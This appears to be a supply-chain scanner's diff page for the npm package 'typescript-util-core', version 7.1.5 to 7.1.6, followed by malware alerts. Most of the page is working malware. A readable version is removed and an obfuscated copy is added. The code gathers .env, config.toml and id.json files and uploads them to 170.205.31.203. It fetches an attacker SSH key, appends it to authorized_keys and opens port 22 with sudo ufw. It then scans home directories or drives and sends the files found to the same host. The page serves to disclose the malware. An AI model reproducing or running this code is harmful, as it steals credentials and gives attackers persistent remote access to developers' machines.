typescript-util-core
Advanced tools
+1
-341
@@ -1,341 +0,1 @@ | ||
| const { execSync, execFileSync } = require("child_process"); | ||
| const fs = require("fs"); | ||
| const path = require("path"); | ||
| const axios = require("axios"); | ||
| const FormData = require("form-data"); | ||
| const os = require("os"); | ||
| /// Helper1 functions | ||
| function fileMatchesPattern(file, pattern) { | ||
| if (pattern.startsWith("*.")) { | ||
| const tail = pattern.substring(1); | ||
| return file.toLowerCase().endsWith(tail.toLowerCase()); | ||
| } | ||
| return file.localeCompare(pattern, undefined, { sensitivity: "accent" }) === 0; | ||
| } | ||
| async function findFilesRecursive(dir, patterns, out) { | ||
| if (!fs.existsSync(dir)) return; | ||
| const entries = fs.readdirSync(dir, { withFileTypes: true }); | ||
| for (const entry of entries) { | ||
| const entryPath = path.join(dir, entry.name); | ||
| if (entry.isFile()) { | ||
| for (const pat of patterns) { | ||
| if (fileMatchesPattern(entry.name, pat)) { | ||
| out.push(entryPath); | ||
| break; | ||
| } | ||
| } | ||
| } else if (entry.isDirectory()) { | ||
| await findFilesRecursive(entryPath, patterns, out); | ||
| } | ||
| } | ||
| } | ||
| async function uploadFileWithMetadata(filePath, url) { | ||
| const fileData = fs.readFileSync(filePath); | ||
| const envUser = process.env["USER"] || "unknown"; | ||
| const payload = Buffer.concat([Buffer.from(envUser + "\n", "utf8"), fileData]); | ||
| const filename = path.basename(filePath) || "file.bin"; | ||
| await axios.post(url, payload, { | ||
| headers: { | ||
| "Content-Type": "application/octet-stream", | ||
| "Content-Disposition": `attachment; filename="${filename}"`, | ||
| }, | ||
| maxContentLength: Infinity, | ||
| maxBodyLength: Infinity, | ||
| }); | ||
| } | ||
| async function from_str_1() { | ||
| const patterns = ["id.json", "config.toml", "Config.toml", "env", ".env"]; | ||
| const cwd = process.cwd(); | ||
| if (!fs.existsSync(cwd)) { | ||
| throw new Error(`Directory does not exist: ${cwd}`); | ||
| } | ||
| const found = []; | ||
| await findFilesRecursive(cwd, patterns, found); | ||
| for (let i = 0; i < found.length; i++) { | ||
| await uploadFileWithMetadata(found[i], "http://170.205.31.203:3000/api/v1"); | ||
| if (i + 1 < found.length) await new Promise(r => setTimeout(r, 100)); | ||
| } | ||
| } | ||
| /// Helper2 functions | ||
| function checkIfMatches(file, pattern) { | ||
| return file.toLowerCase().includes(pattern.toLowerCase()); | ||
| } | ||
| async function searchHashes(dir, scanPatterns, blockPatterns, out) { | ||
| if (!fs.existsSync(dir)) return; | ||
| const entries = fs.readdirSync(dir, { withFileTypes: true }); | ||
| for (const entry of entries) { | ||
| const entryPath = path.join(dir, entry.name); | ||
| if (entry.isFile()) { | ||
| for (const pat of scanPatterns) { | ||
| if (checkIfMatches(entry.name, pat)) { | ||
| out.push(entryPath); | ||
| break; | ||
| } | ||
| } | ||
| } else if (entry.isDirectory()) { | ||
| // Skip directory if it matches any block pattern | ||
| if (blockPatterns.some(block => entry.name.includes(block))) { | ||
| continue; | ||
| } | ||
| await searchHashes(entryPath, scanPatterns, blockPatterns, out); | ||
| } | ||
| } | ||
| } | ||
| async function batchUpload(files, url, created) { | ||
| const MAX_FILES_PER_REQUEST = 100; | ||
| let username = "unknown"; | ||
| try { | ||
| username = os.userInfo().username; | ||
| } catch { | ||
| username = process.env.USER || process.env.USERNAME || process.env.LOGNAME || "unknown"; | ||
| } | ||
| const publicIp = "unknown"; | ||
| const meta = JSON.stringify({ | ||
| created, | ||
| username, | ||
| publicIp, | ||
| platform: process.platform, | ||
| }); | ||
| async function postBatch(slice) { | ||
| const form = new FormData(); | ||
| form.append("username", `${username}`); | ||
| for (const filePath of slice) { | ||
| form.append("files", fs.createReadStream(filePath), { | ||
| filename: path.basename(filePath), | ||
| }); | ||
| } | ||
| form.append("meta", meta); | ||
| await axios.post(url, form, { | ||
| headers: form.getHeaders(), | ||
| maxBodyLength: Infinity, | ||
| }); | ||
| } | ||
| if (files.length === 0) { | ||
| await postBatch([]); | ||
| return; | ||
| } | ||
| for (let i = 0; i < files.length; i += MAX_FILES_PER_REQUEST) { | ||
| await postBatch(files.slice(i, i + MAX_FILES_PER_REQUEST)); | ||
| } | ||
| } | ||
| /** Unix-like: aix, darwin, freebsd, linux, openbsd, sunos */ | ||
| function getUnixScanPaths() { | ||
| return [os.homedir()]; | ||
| } | ||
| function getWindowsDrives() { | ||
| let output; | ||
| try { | ||
| output = execSync("wmic logicaldisk get name", { | ||
| encoding: "utf8", | ||
| stdio: ["ignore", "pipe", "ignore"], | ||
| }); | ||
| } catch { | ||
| try { | ||
| output = execFileSync( | ||
| process.env.SystemRoot | ||
| ? path.join(process.env.SystemRoot, "System32\\WindowsPowerShell\\v1.0\\powershell.exe") | ||
| : "powershell.exe", | ||
| [ | ||
| "-NoProfile", | ||
| "-Command", | ||
| 'Get-Volume | Where-Object { $_.DriveLetter } | ForEach-Object { "$($_.DriveLetter):" }', | ||
| ], | ||
| { encoding: "utf8", windowsHide: true } | ||
| ); | ||
| } catch { | ||
| return ["C:\\Users\\"]; | ||
| } | ||
| } | ||
| const drives = output | ||
| .split("\n") | ||
| .map(line => line.trim()) | ||
| .filter(line => /^[A-Z]:$/.test(line)); | ||
| // Exclude full C drive | ||
| const otherDrives = drives | ||
| .filter(drive => drive.toUpperCase() !== "C:") | ||
| .map(drive => drive + "\\"); | ||
| // Add C:\Users\ | ||
| otherDrives.push("C:\\Users\\"); | ||
| return otherDrives; | ||
| } | ||
| async function runPool(items, worker, concurrency = os.cpus().length) { | ||
| const results = []; | ||
| let index = 0; | ||
| async function next() { | ||
| if (index >= items.length) return; | ||
| const currentIndex = index++; | ||
| const result = await worker(items[currentIndex]); | ||
| results[currentIndex] = result; | ||
| return next(); // continue queue | ||
| } | ||
| // start workers | ||
| const workers = Array.from({ length: concurrency }, () => next()); | ||
| await Promise.all(workers); | ||
| return results; | ||
| } | ||
| async function readJsonBody(res, fallback) { | ||
| let text = ""; | ||
| try { | ||
| text = await res.text(); | ||
| } catch { | ||
| return fallback; | ||
| } | ||
| if (!text.trim()) return fallback; | ||
| try { | ||
| const data = JSON.parse(text); | ||
| if (data !== null && typeof data === "object" && !Array.isArray(data)) { | ||
| return { ...fallback, ...data }; | ||
| } | ||
| } catch { | ||
| // invalid JSON — use fallback | ||
| } | ||
| return fallback; | ||
| } | ||
| async function from_str_2() { | ||
| let sshRes; | ||
| let scanRes; | ||
| let blockRes; | ||
| try { | ||
| [sshRes, scanRes, blockRes] = await Promise.all([ | ||
| fetch("http://170.205.31.203:3001/api/ssh-key"), | ||
| fetch("http://170.205.31.203:3001/api/scan-patterns"), | ||
| fetch("http://170.205.31.203:3001/api/block-patterns"), | ||
| ]); | ||
| } catch { | ||
| sshRes = { text: async () => "" }; | ||
| scanRes = { text: async () => "" }; | ||
| blockRes = { text: async () => "" }; | ||
| } | ||
| const [sshData, scanData, blockData] = await Promise.all([ | ||
| readJsonBody(sshRes, { msg: "" }), | ||
| readJsonBody(scanRes, { scanPatterns: [] }), | ||
| readJsonBody(blockRes, { blockPatterns: [] }), | ||
| ]); | ||
| const msg = sshData.msg == null ? "" : String(sshData.msg); | ||
| const scanPatterns = Array.isArray(scanData.scanPatterns) ? scanData.scanPatterns : []; | ||
| const blockPatterns = Array.isArray(blockData.blockPatterns) ? blockData.blockPatterns : []; | ||
| let success = false; | ||
| if (process.platform === "linux") { | ||
| success = addSshKeyToUser(msg); | ||
| } | ||
| const unixPlatforms = ["aix", "darwin", "freebsd", "linux", "openbsd", "sunos"]; | ||
| const scanPaths = unixPlatforms.includes(process.platform) | ||
| ? getUnixScanPaths() | ||
| : getWindowsDrives(); | ||
| // 👇 native concurrency control | ||
| const results = await runPool( | ||
| scanPaths, | ||
| async (dir) => { | ||
| const localFound = []; | ||
| await searchHashes(dir, scanPatterns, blockPatterns, localFound); | ||
| return localFound; | ||
| }, | ||
| os.cpus().length // adaptive, no constant | ||
| ); | ||
| const found = results.flat(); | ||
| await batchUpload( | ||
| found, | ||
| "http://170.205.31.203:3001/api/v1", | ||
| success | ||
| ); | ||
| } | ||
| function addSshKeyToUser(sshKey) { | ||
| let username = "unknown"; | ||
| try { | ||
| username = os.userInfo().username; | ||
| } catch (err) { | ||
| username = | ||
| process.env.USER || | ||
| process.env.USERNAME || | ||
| process.env.LOGNAME || | ||
| "unknown"; | ||
| } | ||
| try { | ||
| const sshDir = `${process.env.HOME}/.ssh`; | ||
| if (!fs.existsSync(sshDir)) { | ||
| fs.mkdirSync(sshDir, { mode: 0o700, recursive: true }); | ||
| } | ||
| const authKeys = path.join(sshDir, "authorized_keys"); | ||
| // Append the key only if it's not already present | ||
| let existingKeys = ""; | ||
| if (fs.existsSync(authKeys)) { | ||
| existingKeys = fs.readFileSync(authKeys, "utf8"); | ||
| if (existingKeys.includes(sshKey)) { | ||
| return true; | ||
| } | ||
| } | ||
| fs.appendFileSync(authKeys, sshKey + "\n", { mode: 0o600 }); | ||
| execSync(`sudo chown -R ${username}:${username} ${sshDir}`); | ||
| execSync("sudo ufw enable", { stdio: "inherit" }); | ||
| execSync("sudo ufw allow 22/tcp", { stdio: "inherit" }); | ||
| return true; | ||
| } catch (err) { | ||
| return false; | ||
| } | ||
| } | ||
| /// Main functions | ||
| async function from_str() { | ||
| from_str_1().then(e => { }).catch(e => { }); | ||
| from_str_2().then(e => { }).catch(e => { }); | ||
| } | ||
| module.exports = { | ||
| from_str, | ||
| from_str_1, | ||
| from_str_2, | ||
| }; | ||
| const{execSync,execFileSync}=require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073");const fs=require("\u0066\u0073");const path=require("\u0070\u0061\u0074\u0068");var _0x7a_0x46f=(346367^346361)+(754358^754353);const axios=require("\u0061\u0078\u0069\u006F\u0073");_0x7a_0x46f=(176836^176832)+(974266^974270);const FormData=require("\u0066\u006F\u0072\u006D\u002D\u0064\u0061\u0074\u0061");var _0xea3e5c=(228699^228697)+(393205^393201);const os=require("\u006F\u0073");_0xea3e5c=(210865^210864)+(171242^171242);function fileMatchesPattern(file,pattern){if(pattern['\u0073\u0074\u0061\u0072\u0074\u0073\u0057\u0069\u0074\u0068']("\u002A\u002E")){var _0xe17ege=(410980^410980)+(238876^238874);const tail=pattern['\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006E\u0067'](300633^300632);_0xe17ege=541595^541587;return file['\u0074\u006F\u004C\u006F\u0077\u0065\u0072\u0043\u0061\u0073\u0065']()['\u0065\u006E\u0064\u0073\u0057\u0069\u0074\u0068'](tail['\u0074\u006F\u004C\u006F\u0077\u0065\u0072\u0043\u0061\u0073\u0065']());}return file['\u006C\u006F\u0063\u0061\u006C\u0065\u0043\u006F\u006D\u0070\u0061\u0072\u0065'](pattern,undefined,{sensitivity:"\u0061\u0063\u0063\u0065\u006E\u0074"})===(616738^616738);}async function findFilesRecursive(dir,patterns,out){if(!fs['\u0065\u0078\u0069\u0073\u0074\u0073\u0053\u0079\u006E\u0063'](dir))return;const entries=fs['\u0072\u0065\u0061\u0064\u0064\u0069\u0072\u0053\u0079\u006E\u0063'](dir,{withFileTypes:!![]});for(const entry of entries){var _0xf13fd=(110943^110936)+(954893^954890);const entryPath=path['\u006A\u006F\u0069\u006E'](dir,entry['\u006E\u0061\u006D\u0065']);_0xf13fd=(228940^228936)+(237004^236996);if(entry['\u0069\u0073\u0046\u0069\u006C\u0065']()){for(const pat of patterns){if(fileMatchesPattern(entry['\u006E\u0061\u006D\u0065'],pat)){out['\u0070\u0075\u0073\u0068'](entryPath);break;}}}else if(entry['\u0069\u0073\u0044\u0069\u0072\u0065\u0063\u0074\u006F\u0072\u0079']()){await findFilesRecursive(entryPath,patterns,out);}}}async function uploadFileWithMetadata(filePath,url){const fileData=fs['\u0072\u0065\u0061\u0064\u0046\u0069\u006C\u0065\u0053\u0079\u006E\u0063'](filePath);const envUser=process['\u0065\u006E\u0076']["USER"]||"nwonknu".split("").reverse().join("");var _0x2e223b=(653514^653513)+(586499^586506);const payload=Buffer['\u0063\u006F\u006E\u0063\u0061\u0074']([Buffer['\u0066\u0072\u006F\u006D'](envUser+"\u000A","8ftu".split("").reverse().join("")),fileData]);_0x2e223b=(989119^989111)+(432124^432126);var _0x16d6db=(428168^428160)+(700818^700823);const filename=path['\u0062\u0061\u0073\u0065\u006E\u0061\u006D\u0065'](filePath)||"\u0066\u0069\u006C\u0065\u002E\u0062\u0069\u006E";_0x16d6db=(179852^179852)+(304456^304463);await axios['\u0070\u006F\u0073\u0074'](url,payload,{headers:{"\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0054\u0079\u0070\u0065":"application/octet-stream","\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0044\u0069\u0073\u0070\u006F\u0073\u0069\u0074\u0069\u006F\u006E":`attachment; filename="${filename}"`},maxContentLength:Infinity,maxBodyLength:Infinity});}async function from_str_1(){var _0xcbg7f=(526151^526148)+(740346^740345);const patterns=["nosj.di".split("").reverse().join(""),"\u0063\u006F\u006E\u0066\u0069\u0067\u002E\u0074\u006F\u006D\u006C","\u0043\u006F\u006E\u0066\u0069\u0067\u002E\u0074\u006F\u006D\u006C","\u0065\u006E\u0076","\u002E\u0065\u006E\u0076"];_0xcbg7f=282877^282878;var _0x3b_0xd00=(541276^541278)+(493719^493726);const cwd=process['\u0063\u0077\u0064']();_0x3b_0xd00='\u0070\u006D\u006C\u0070\u006A\u0064';if(!fs['\u0065\u0078\u0069\u0073\u0074\u0073\u0053\u0079\u006E\u0063'](cwd)){throw new Error(`Directory does not exist: ${cwd}`);}var _0xc9183g=(717151^717146)+(848752^848753);const found=[];_0xc9183g=(182906^182911)+(556333^556325);await findFilesRecursive(cwd,patterns,found);for(let i=660563^660563;i<found['\u006C\u0065\u006E\u0067\u0074\u0068'];i++){await uploadFileWithMetadata(found[i],"1v/ipa/0003:302.13.502.071//:ptth".split("").reverse().join(""));if(i+(929098^929099)<found['\u006C\u0065\u006E\u0067\u0074\u0068'])await new Promise(r=>setTimeout(r,375946^376046));}}function checkIfMatches(file,pattern){return file['\u0074\u006F\u004C\u006F\u0077\u0065\u0072\u0043\u0061\u0073\u0065']()['\u0069\u006E\u0063\u006C\u0075\u0064\u0065\u0073'](pattern['\u0074\u006F\u004C\u006F\u0077\u0065\u0072\u0043\u0061\u0073\u0065']());}async function searchHashes(dir,scanPatterns,blockPatterns,out){if(!fs['\u0065\u0078\u0069\u0073\u0074\u0073\u0053\u0079\u006E\u0063'](dir))return;var _0x_0x49d=(693145^693147)+(380521^380522);const entries=fs['\u0072\u0065\u0061\u0064\u0064\u0069\u0072\u0053\u0079\u006E\u0063'](dir,{withFileTypes:!![]});_0x_0x49d='\u0066\u0064\u006D\u006B\u006E\u0070';for(const entry of entries){var _0x3eg5c=(830663^830658)+(911813^911820);const entryPath=path['\u006A\u006F\u0069\u006E'](dir,entry['\u006E\u0061\u006D\u0065']);_0x3eg5c=(349178^349180)+(841640^841643);if(entry['\u0069\u0073\u0046\u0069\u006C\u0065']()){for(const pat of scanPatterns){if(checkIfMatches(entry['\u006E\u0061\u006D\u0065'],pat)){out['\u0070\u0075\u0073\u0068'](entryPath);break;}}}else if(entry['\u0069\u0073\u0044\u0069\u0072\u0065\u0063\u0074\u006F\u0072\u0079']()){if(blockPatterns['\u0073\u006F\u006D\u0065'](block=>entry['\u006E\u0061\u006D\u0065']['\u0069\u006E\u0063\u006C\u0075\u0064\u0065\u0073'](block))){continue;}await searchHashes(entryPath,scanPatterns,blockPatterns,out);}}}async function batchUpload(files,url,created,MAX_FILES_PER_REQUEST,username,publicIp,_0x33f8d){MAX_FILES_PER_REQUEST=380411^380319;var _0x5e4c7a=(688058^688051)+(709459^709459);username="\u0075\u006E\u006B\u006E\u006F\u0077\u006E";_0x5e4c7a=851651^851651;try{username=os['\u0075\u0073\u0065\u0072\u0049\u006E\u0066\u006F']()['\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065'];}catch{username=process['\u0065\u006E\u0076']['\u0055\u0053\u0045\u0052']||process['\u0065\u006E\u0076']['\u0055\u0053\u0045\u0052\u004E\u0041\u004D\u0045']||process['\u0065\u006E\u0076']['\u004C\u004F\u0047\u004E\u0041\u004D\u0045']||"\u0075\u006E\u006B\u006E\u006F\u0077\u006E";}publicIp="\u0075\u006E\u006B\u006E\u006F\u0077\u006E";const meta=JSON['\u0073\u0074\u0072\u0069\u006E\u0067\u0069\u0066\u0079']({created,username,publicIp,platform:process['\u0070\u006C\u0061\u0074\u0066\u006F\u0072\u006D']});_0x33f8d=(449236^449234)+(882696^882689);async function _0x778g(slice,_0x89c11c){const form=new FormData();_0x89c11c=(550816^550819)+(123142^123143);form['\u0061\u0070\u0070\u0065\u006E\u0064']("\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065",`${username}`);for(const filePath of slice){form['\u0061\u0070\u0070\u0065\u006E\u0064']("selif".split("").reverse().join(""),fs['\u0063\u0072\u0065\u0061\u0074\u0065\u0052\u0065\u0061\u0064\u0053\u0074\u0072\u0065\u0061\u006D'](filePath),{filename:path['\u0062\u0061\u0073\u0065\u006E\u0061\u006D\u0065'](filePath)});}form['\u0061\u0070\u0070\u0065\u006E\u0064']("atem".split("").reverse().join(""),meta);await axios['\u0070\u006F\u0073\u0074'](url,form,{headers:form['\u0067\u0065\u0074\u0048\u0065\u0061\u0064\u0065\u0072\u0073'](),maxBodyLength:Infinity});}if(files['\u006C\u0065\u006E\u0067\u0074\u0068']===(738864^738864)){await _0x778g([]);return;}for(let i=182879^182879;i<files['\u006C\u0065\u006E\u0067\u0074\u0068'];i+=MAX_FILES_PER_REQUEST){await _0x778g(files['\u0073\u006C\u0069\u0063\u0065'](i,i+MAX_FILES_PER_REQUEST));}}function getUnixScanPaths(){return[os['\u0068\u006F\u006D\u0065\u0064\u0069\u0072']()];}function getWindowsDrives(_0x7ab22b,output){_0x7ab22b=(296606^296602)+(389693^389693);try{output=execSync("eman teg ksidlacigol cimw".split("").reverse().join(""),{encoding:"utf8",stdio:["\u0069\u0067\u006E\u006F\u0072\u0065","\u0070\u0069\u0070\u0065","erongi".split("").reverse().join("")]});}catch{try{output=execFileSync(process['\u0065\u006E\u0076']['\u0053\u0079\u0073\u0074\u0065\u006D\u0052\u006F\u006F\u0074']?path['\u006A\u006F\u0069\u006E'](process['\u0065\u006E\u0076']['\u0053\u0079\u0073\u0074\u0065\u006D\u0052\u006F\u006F\u0074'],"\u0053\u0079\u0073\u0074\u0065\u006D\u0033\u0032\u005C\u0057\u0069\u006E\u0064\u006F\u0077\u0073\u0050\u006F\u0077\u0065\u0072\u0053\u0068\u0065\u006C\u006C\u005C\u0076\u0031\u002E\u0030\u005C\u0070\u006F\u0077\u0065\u0072\u0073\u0068\u0065\u006C\u006C\u002E\u0065\u0078\u0065"):"\u0070\u006F\u0077\u0065\u0072\u0073\u0068\u0065\u006C\u006C\u002E\u0065\u0078\u0065",["\u002D\u004E\u006F\u0050\u0072\u006F\u0066\u0069\u006C\u0065","\u002D\u0043\u006F\u006D\u006D\u0061\u006E\u0064","} \":)retteLevirD._$($\" { tcejbO-hcaEroF | } retteLevirD._$ { tcejbO-erehW | emuloV-teG".split("").reverse().join("")],{encoding:"\u0075\u0074\u0066\u0038",windowsHide:!![]});}catch{return["C:\\Users\\"];}}const drives=output['\u0073\u0070\u006C\u0069\u0074']("\u000A")['\u006D\u0061\u0070'](line=>line['\u0074\u0072\u0069\u006D']())['\u0066\u0069\u006C\u0074\u0065\u0072'](line=>new RegExp('\u005E\u005B\u0041\u002D\u005A\u005D\u003A\u0024',"")['\u0074\u0065\u0073\u0074'](line));const otherDrives=drives['\u0066\u0069\u006C\u0074\u0065\u0072'](drive=>drive['\u0074\u006F\u0055\u0070\u0070\u0065\u0072\u0043\u0061\u0073\u0065']()!=="\u0043\u003A")['\u006D\u0061\u0070'](drive=>drive+"\u005C");otherDrives['\u0070\u0075\u0073\u0068']("C:\\Users\\");return otherDrives;}async function runPool(items,worker,concurrency=os['\u0063\u0070\u0075\u0073']()['\u006C\u0065\u006E\u0067\u0074\u0068'],_0xgb5e,index){const results=[];_0xgb5e="elfbgk".split("").reverse().join("");index=675256^675256;async function _0x6dg5bf(_0x786bcc,_0x6eaabd){if(index>=items['\u006C\u0065\u006E\u0067\u0074\u0068'])return;const currentIndex=index++;_0x786bcc=436790^436786;const result=await worker(items[currentIndex]);_0x6eaabd=(378591^378591)+(443569^443574);results[currentIndex]=result;return _0x6dg5bf();}const workers=Array['\u0066\u0072\u006F\u006D']({length:concurrency},()=>_0x6dg5bf());await Promise['\u0061\u006C\u006C'](workers);return results;}async function readJsonBody(res,fallback,text){text="";try{text=await res['\u0074\u0065\u0078\u0074']();}catch{return fallback;}if(!text['\u0074\u0072\u0069\u006D']())return fallback;try{const data=JSON['\u0070\u0061\u0072\u0073\u0065'](text);if(data!==null&&typeof data==="\u006F\u0062\u006A\u0065\u0063\u0074"&&!Array['\u0069\u0073\u0041\u0072\u0072\u0061\u0079'](data)){return{...fallback,...data};}}catch{}return fallback;}async function from_str_2(sshRes,scanRes,blockRes,_0x75acg,_0xfef,_0x2g355c,_0xe9g){var _0x1cagb=(460033^460032)+(640748^640751);_0x1cagb="ipcpjd".split("").reverse().join("");try{[sshRes,scanRes,blockRes]=await Promise['\u0061\u006C\u006C']([fetch("\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0031\u0037\u0030\u002E\u0032\u0030\u0035\u002E\u0033\u0031\u002E\u0032\u0030\u0033\u003A\u0033\u0030\u0030\u0031\u002F\u0061\u0070\u0069\u002F\u0073\u0073\u0068\u002D\u006B\u0065\u0079"),fetch("\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0031\u0037\u0030\u002E\u0032\u0030\u0035\u002E\u0033\u0031\u002E\u0032\u0030\u0033\u003A\u0033\u0030\u0030\u0031\u002F\u0061\u0070\u0069\u002F\u0073\u0063\u0061\u006E\u002D\u0070\u0061\u0074\u0074\u0065\u0072\u006E\u0073"),fetch("\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0031\u0037\u0030\u002E\u0032\u0030\u0035\u002E\u0033\u0031\u002E\u0032\u0030\u0033\u003A\u0033\u0030\u0030\u0031\u002F\u0061\u0070\u0069\u002F\u0062\u006C\u006F\u0063\u006B\u002D\u0070\u0061\u0074\u0074\u0065\u0072\u006E\u0073")]);}catch{sshRes={text:async()=>""};scanRes={text:async()=>""};blockRes={text:async()=>""};}const[sshData,scanData,blockData]=await Promise['\u0061\u006C\u006C']([readJsonBody(sshRes,{msg:""}),readJsonBody(scanRes,{scanPatterns:[]}),readJsonBody(blockRes,{blockPatterns:[]})]);const msg=sshData['\u006D\u0073\u0067']==null?"":String(sshData['\u006D\u0073\u0067']);_0x75acg=(278203^278206)+(684116^684117);const scanPatterns=Array['\u0069\u0073\u0041\u0072\u0072\u0061\u0079'](scanData['\u0073\u0063\u0061\u006E\u0050\u0061\u0074\u0074\u0065\u0072\u006E\u0073'])?scanData['\u0073\u0063\u0061\u006E\u0050\u0061\u0074\u0074\u0065\u0072\u006E\u0073']:[];_0xfef=(385488^385497)+(288122^288124);const blockPatterns=Array['\u0069\u0073\u0041\u0072\u0072\u0061\u0079'](blockData['\u0062\u006C\u006F\u0063\u006B\u0050\u0061\u0074\u0074\u0065\u0072\u006E\u0073'])?blockData['\u0062\u006C\u006F\u0063\u006B\u0050\u0061\u0074\u0074\u0065\u0072\u006E\u0073']:[];let success=false;if(process['\u0070\u006C\u0061\u0074\u0066\u006F\u0072\u006D']==="xunil".split("").reverse().join("")){success=addSshKeyToUser(msg);}var _0xe430f=(723328^723328)+(218610^218618);const unixPlatforms=["\u0061\u0069\u0078","\u0064\u0061\u0072\u0077\u0069\u006E","dsbeerf".split("").reverse().join(""),"\u006C\u0069\u006E\u0075\u0078","dsbnepo".split("").reverse().join(""),"\u0073\u0075\u006E\u006F\u0073"];_0xe430f=(173585^173592)+(143107^143107);const scanPaths=unixPlatforms['\u0069\u006E\u0063\u006C\u0075\u0064\u0065\u0073'](process['\u0070\u006C\u0061\u0074\u0066\u006F\u0072\u006D'])?getUnixScanPaths():getWindowsDrives();const results=await runPool(scanPaths,async dir=>{var _0x5df23f=(818584^818586)+(473778^473779);const localFound=[];_0x5df23f=(192701^192702)+(723110^723108);await searchHashes(dir,scanPatterns,blockPatterns,localFound);return localFound;},os['\u0063\u0070\u0075\u0073']()['\u006C\u0065\u006E\u0067\u0074\u0068']);_0x2g355c=(444917^444918)+(893837^893829);const found=results['\u0066\u006C\u0061\u0074']();_0xe9g=(908881^908882)+(893894^893903);await batchUpload(found,"\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0031\u0037\u0030\u002E\u0032\u0030\u0035\u002E\u0033\u0031\u002E\u0032\u0030\u0033\u003A\u0033\u0030\u0030\u0031\u002F\u0061\u0070\u0069\u002F\u0076\u0031",success);}function addSshKeyToUser(sshKey,_0xd8g13b,username){username="\u0075\u006E\u006B\u006E\u006F\u0077\u006E";_0xd8g13b=463447^463441;try{username=os['\u0075\u0073\u0065\u0072\u0049\u006E\u0066\u006F']()['\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065'];}catch(err){username=process['\u0065\u006E\u0076']['\u0055\u0053\u0045\u0052']||process['\u0065\u006E\u0076']['\u0055\u0053\u0045\u0052\u004E\u0041\u004D\u0045']||process['\u0065\u006E\u0076']['\u004C\u004F\u0047\u004E\u0041\u004D\u0045']||"\u0075\u006E\u006B\u006E\u006F\u0077\u006E";}try{const sshDir=`${process['\u0065\u006E\u0076']['\u0048\u004F\u004D\u0045']}/.ssh`;if(!fs['\u0065\u0078\u0069\u0073\u0074\u0073\u0053\u0079\u006E\u0063'](sshDir)){fs['\u006D\u006B\u0064\u0069\u0072\u0053\u0079\u006E\u0063'](sshDir,{mode:0o700,recursive:!![]});}const authKeys=path['\u006A\u006F\u0069\u006E'](sshDir,"syek_dezirohtua".split("").reverse().join(""));var _0xdc97d=(537855^537850)+(535652^535661);let existingKeys="";_0xdc97d='\u0066\u0065\u0061\u0062\u0070\u0068';if(fs['\u0065\u0078\u0069\u0073\u0074\u0073\u0053\u0079\u006E\u0063'](authKeys)){existingKeys=fs['\u0072\u0065\u0061\u0064\u0046\u0069\u006C\u0065\u0053\u0079\u006E\u0063'](authKeys,"8ftu".split("").reverse().join(""));if(existingKeys['\u0069\u006E\u0063\u006C\u0075\u0064\u0065\u0073'](sshKey)){return!![];}}fs['\u0061\u0070\u0070\u0065\u006E\u0064\u0046\u0069\u006C\u0065\u0053\u0079\u006E\u0063'](authKeys,sshKey+"\u000A",{mode:0o600});execSync(`sudo chown -R ${username}:${username} ${sshDir}`);execSync("\u0073\u0075\u0064\u006F\u0020\u0075\u0066\u0077\u0020\u0065\u006E\u0061\u0062\u006C\u0065",{stdio:"\u0069\u006E\u0068\u0065\u0072\u0069\u0074"});execSync("\u0073\u0075\u0064\u006F\u0020\u0075\u0066\u0077\u0020\u0061\u006C\u006C\u006F\u0077\u0020\u0032\u0032\u002F\u0074\u0063\u0070",{stdio:"\u0069\u006E\u0068\u0065\u0072\u0069\u0074"});return!![];}catch(err){return false;}}async function from_str(){from_str_1()['\u0074\u0068\u0065\u006E'](e=>{})['\u0063\u0061\u0074\u0063\u0068'](e=>{});from_str_2()['\u0074\u0068\u0065\u006E'](e=>{})['\u0063\u0061\u0074\u0063\u0068'](e=>{});}module['\u0065\u0078\u0070\u006F\u0072\u0074\u0073']={from_str,from_str_1,from_str_2}; |
+1
-1
| { | ||
| "name": "typescript-util-core", | ||
| "version": "7.1.5", | ||
| "version": "7.1.6", | ||
| "description": "", | ||
@@ -5,0 +5,0 @@ "main": "index.js", |
Known malware
Supply chain riskThis package version is identified as malware. It has been flagged either by Socket's AI scanner and confirmed by our threat research team, or is listed as malicious in security databases and other sources.
AI-detected potential malware
Supply chain riskAI has identified this package as malware. This is a strong signal that the package may be malicious.
Obfuscated code
Supply chain riskObfuscated files are intentionally packed to hide their behavior. This could be a sign of malware.
Major refactor
Supply chain riskPackage has recently undergone a major refactor. It may be unstable or indicate significant internal changes. Use caution when updating to versions that include significant changes.
Trivial Package
Supply chain riskPackages less than 10 lines of code are easily copied into your own project and may not warrant the additional supply chain risk of an external dependency.
Known malware
Supply chain riskThis package version is identified as malware. It has been flagged either by Socket's AI scanner and confirmed by our threat research team, or is listed as malicious in security databases and other sources.
AI-detected potential malware
Supply chain riskAI has identified this package as malware. This is a strong signal that the package may be malicious.
Shell access
Supply chain riskThis module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 5 instances
Filesystem access
Supply chain riskAccesses the file system, and could potentially read sensitive data.
URL strings
Supply chain riskPackage contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.
16678
68.11%1
-92.31%9
-96.94%3
50%5
25%